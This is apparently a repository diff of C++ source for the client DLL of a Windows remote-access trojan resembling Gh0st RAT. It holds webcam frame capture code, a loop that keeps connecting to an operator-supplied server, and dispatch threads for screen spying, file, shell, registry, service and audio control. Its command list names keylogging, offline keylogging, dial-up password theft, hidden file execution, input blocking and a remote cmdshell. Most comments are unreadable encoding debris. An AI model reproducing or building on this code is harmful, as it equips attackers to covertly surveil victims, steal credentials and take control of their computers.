InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); //ԭ<><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> //ԭ<><D4AD><EFBFBD>Լ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>copy
}
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
{
BYTE *szBuffer = NULL;
do
{
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
{
szBuffer = mCB.GetNextScreen(dwSize); //ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
} while (szBuffer==NULL);
return szBuffer;
}

186
client/CaptureVideo.h Normal file
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// CaptureVideo.h: interface for the CCaptureVideo class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
#define AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <Objbase.h>
#include <uuids.h>
#include <strmif.h>
#include <CONTROL.H>
#include <ATLBASE.H>
#include <qedit.h>
#include <amvideo.h>
#include <DShow.h>
#pragma comment(lib,"Strmiids.lib")
enum{
CMD_CAN_COPY,
CMD_CAN_SEND
};
#ifndef SAFE_RELEASE
#define SAFE_RELEASE( x ) if ( NULL != x ){ x->Release(); x = NULL; }
#endif
class CSampleGrabberCB : public ISampleGrabberCB
{
public:
ULONG m_ulFullWidth;
ULONG m_ulFullHeight;
LPBITMAPINFO m_BitmapInfor_Full;
BYTE* m_BitmapData_Full;
BOOL bStact;
DWORD m_dwSize;
CSampleGrabberCB()
{
m_ulFullWidth = 0 ;
m_ulFullHeight = 0 ;
m_BitmapInfor_Full = NULL;
m_BitmapData_Full = NULL;
m_dwSize = 0;
bStact = CMD_CAN_COPY;
}
~CSampleGrabberCB()
{
if (m_BitmapInfor_Full!=NULL)
{
delete[] m_BitmapInfor_Full;
}
if (m_BitmapData_Full!=NULL)
{
delete[] m_BitmapData_Full;
}
m_ulFullWidth = 0 ;
m_ulFullHeight = 0 ;
}
LPBITMAPINFO GetBmpInfor() //
{
if (m_BitmapInfor_Full==NULL) //ͷ<><CDB7>Ϣ
{
ConstructBI(24);
}
return m_BitmapInfor_Full;
}
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount)
{
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +<2B><><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength];
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
BitmapInforHeader->biWidth = m_ulFullWidth;
BitmapInforHeader->biHeight = m_ulFullHeight;
BitmapInforHeader->biPlanes = 1;
BitmapInforHeader->biBitCount = ulbiBitCount;
BitmapInforHeader->biCompression = BI_RGB;
BitmapInforHeader->biXPelsPerMeter = 0;
BitmapInforHeader->biYPelsPerMeter = 0;
BitmapInforHeader->biClrUsed = 0;
BitmapInforHeader->biClrImportant = 0;
BitmapInforHeader->biSizeImage = //ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
(((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) & ~31) >> 3)
* BitmapInforHeader->biHeight;
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
//!!
m_dwSize=BitmapInforHeader->biSizeImage; //<2F><><EFBFBD>ݴ<EFBFBD>С
m_BitmapData_Full=new BYTE[m_dwSize+10];
ZeroMemory(m_BitmapData_Full,m_dwSize+10);
return m_BitmapInfor_Full;
}
STDMETHODIMP_(ULONG) AddRef() { return 2;}
STDMETHODIMP_(ULONG) Release() { return 1;}
STDMETHODIMP QueryInterface(REFIID riid, void ** lParam)
{
//???
if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ){
*lParam = (void *) static_cast<ISampleGrabberCB*> ( this );
return NOERROR;
}
return E_NOINTERFACE;
}
BYTE* GetNextScreen(DWORD &dwSize)
{
dwSize=m_dwSize;
return (BYTE*)m_BitmapData_Full;
}
STDMETHODIMP SampleCB( double dbSampleTime, IMediaSample * Sample)
{
return 0;
}
//<2F>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> bmp <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STDMETHODIMP BufferCB(double dblSampleTime, BYTE * szBuffer, long ulBufferSize)
{
if (!szBuffer)
{
return E_POINTER;
}
if (bStact==CMD_CAN_COPY) //δ<><CEB4>ʼ<EFBFBD><CABC> <20><><EFBFBD>͵<EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
{
//<2F><>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5>ڴ<EFBFBD>
memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //λͼ
InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //ԭ<><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD>
return S_OK;
}
return -1;
}
};
class CCaptureVideo
{
public:
CCaptureVideo();
virtual ~CCaptureVideo();
LPBITMAPINFO CCaptureVideo::GetBmpInfor();
HRESULT CCaptureVideo::InitCaptureGraphBuilder();
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress);
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter);
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize);
HWND m_hWnd;
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object
ICaptureGraphBuilder2* m_pCapture; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> <20><>ʵCDO
IMediaControl* m_pMC; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľӿ<C4BD>
IVideoWindow* m_pVW;
IBaseFilter* m_pBF; //FDO
ISampleGrabber* m_pGrabber; //<2F><><EFBFBD><EFBFBD> 24Color
void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt);
void CCaptureVideo::ResizeVideoWindow();
HRESULT CCaptureVideo::SetupVideoWindow();
void CCaptureVideo::SendEnd();
};
#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)

93
client/ClientDll.cpp Normal file
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// ClientDll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include "Common.h"
#include "IOCPClient.h"
#include <IOSTREAM>
#include "LoginServer.h"
#include "KernelManager.h"
using namespace std;
char g_szServerIP[MAX_PATH] = {0};
unsigned short g_uPort = 0;
bool g_bExit = false;
bool g_bThreadExit = false;
HINSTANCE g_hInstance = NULL;
DWORD WINAPI StartClient(LPVOID lParam);
BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
{
g_hInstance = (HINSTANCE)hInstance;
break;
}
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
g_uPort = uPort;
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
#ifdef _DEBUG
WaitForSingleObject(hThread, 200);
#else
WaitForSingleObject(hThread, INFINITE);
#endif
CloseHandle(hThread);
}
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
DWORD WINAPI StartClient(LPVOID lParam)
{
IOCPClient *ClientObject = new IOCPClient();
while (!g_bExit)
{
DWORD dwTickCount = GetTickCount();
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
{
for (int k = 500; !g_bExit && --k; Sleep(10));
continue;
}
//׼<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SendLoginInfo(ClientObject, GetTickCount()-dwTickCount);
CKernelManager Manager(ClientObject);
bool bIsRun = 0;
do
{
Sleep(200);
bIsRun = ClientObject->IsRunning();
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
}
cout<<"StartClient end\n";
delete ClientObject;
g_bThreadExit = true;
return 0;
}

20
client/ClientDll.sln Normal file
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@@ -0,0 +1,20 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ClientDll", "ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.ActiveCfg = Debug|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.Build.0 = Debug|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.ActiveCfg = Release|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

136
client/ClientDll.vcxproj Normal file
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<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
<RootNamespace>ClientDll</RootNamespace>
<ProjectName>ServerDll</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="CursorInfor.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfor.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" />
<ClInclude Include="StdAfx.h" />
<ClInclude Include="SystemManager.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="zconf.h" />
<ClInclude Include="zlib.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />
</ItemGroup>
<ItemGroup>
<None Include="ExportFunTable.def" />
</ItemGroup>
<ItemGroup>
<Media Include="Res\msg.wav" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,177 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
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<Filter>源文件</Filter>
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<Filter>源文件</Filter>
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<Filter>源文件</Filter>
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<Filter>源文件</Filter>
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@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommand>$(TargetDir)\TestRun.exe</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LocalDebuggerCommand>$(TargetDir)\TestRun.exe</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>

111
client/Common.cpp Normal file
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@@ -0,0 +1,111 @@
#include "StdAfx.h"
#include "Common.h"
#include "ScreenManager.h"
#include "FileManager.h"
#include "TalkManager.h"
#include "ShellManager.h"
#include "SystemManager.h"
#include "AudioManager.h"
#include "RegisterManager.h"
#include "ServicesManager.h"
#include "VideoManager.h"
extern char g_szServerIP[MAX_PATH];
extern unsigned short g_uPort;
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE StartAddress,
LPVOID lParam,
DWORD dwCreationFlags,
LPDWORD ThreadId, bool bInteractive)
{
HANDLE hThread = INVALID_HANDLE_VALUE;
THREAD_ARG_LIST ThreadArgList = {0};
ThreadArgList.StartAddress = StartAddress;
ThreadArgList.lParam = (void *)lParam; //IP
ThreadArgList.bInteractive = bInteractive; //??
ThreadArgList.hEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
hThread = (HANDLE)CreateThread(SecurityAttributes,
dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
dwCreationFlags, (LPDWORD)ThreadId);
WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
CloseHandle(ThreadArgList.hEvent);
return hThread;
}
DWORD WINAPI ThreadProc(LPVOID lParam)
{
THREAD_ARG_LIST ThreadArgList = {0};
memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST));
SetEvent(ThreadArgList.hEvent);
DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam);
return dwReturn;
}
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
{
IOCPClient *ClientObject = (IOCPClient *)lParam;
if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
{
Manager m(ClientObject, n);
ClientObject->RunEventLoop();
}
delete ClientObject;
return 0;
}
DWORD WINAPI LoopScreenManager(LPVOID lParam)
{
return LoopManager<CScreenManager, 0>(lParam);
}
DWORD WINAPI LoopFileManager(LPVOID lParam)
{
return LoopManager<CFileManager, 0>(lParam);
}
DWORD WINAPI LoopTalkManager(LPVOID lParam)
{
return LoopManager<CTalkManager, 0>(lParam);
}
DWORD WINAPI LoopShellManager(LPVOID lParam)
{
return LoopManager<CShellManager, 0>(lParam);
}
DWORD WINAPI LoopProcessManager(LPVOID lParam)
{
return LoopManager<CSystemManager, COMMAND_SYSTEM>(lParam);
}
DWORD WINAPI LoopWindowManager(LPVOID lParam)
{
return LoopManager<CSystemManager, COMMAND_WSLIST>(lParam);
}
DWORD WINAPI LoopVideoManager(LPVOID lParam)
{
return LoopManager<CVideoManager, 0>(lParam);
}
DWORD WINAPI LoopAudioManager(LPVOID lParam)
{
return LoopManager<CAudioManager, 0>(lParam);
}
DWORD WINAPI LoopRegisterManager(LPVOID lParam)
{
return LoopManager<CRegisterManager, 0>(lParam);
}
DWORD WINAPI LoopServicesManager(LPVOID lParam)
{
return LoopManager<CServicesManager, 0>(lParam);
}

151
client/Common.h Normal file
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@@ -0,0 +1,151 @@
#pragma once
#include "IOCPClient.h"
enum
{
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ʽ
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
TRANSFER_MODE_ADDITION, // ׷<><D7B7>
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB>׷<EFBFBD><D7B7>
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_EXCEPTION, // <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>ʽ
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
COMMAND_SCREEN_CAPTURE_LAYER, // <20><>׽<EFBFBD><D7BD>
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD>󾭹<EFBFBD>H263ѹ<33><D1B9>
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>򿪶Ի<F2BFAAB6><D4BB><EFBFBD>)
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD><DFBC>̼<EFBFBD>¼
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
COMMAND_SHELL, // cmdshell
COMMAND_SESSION, // <20><EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
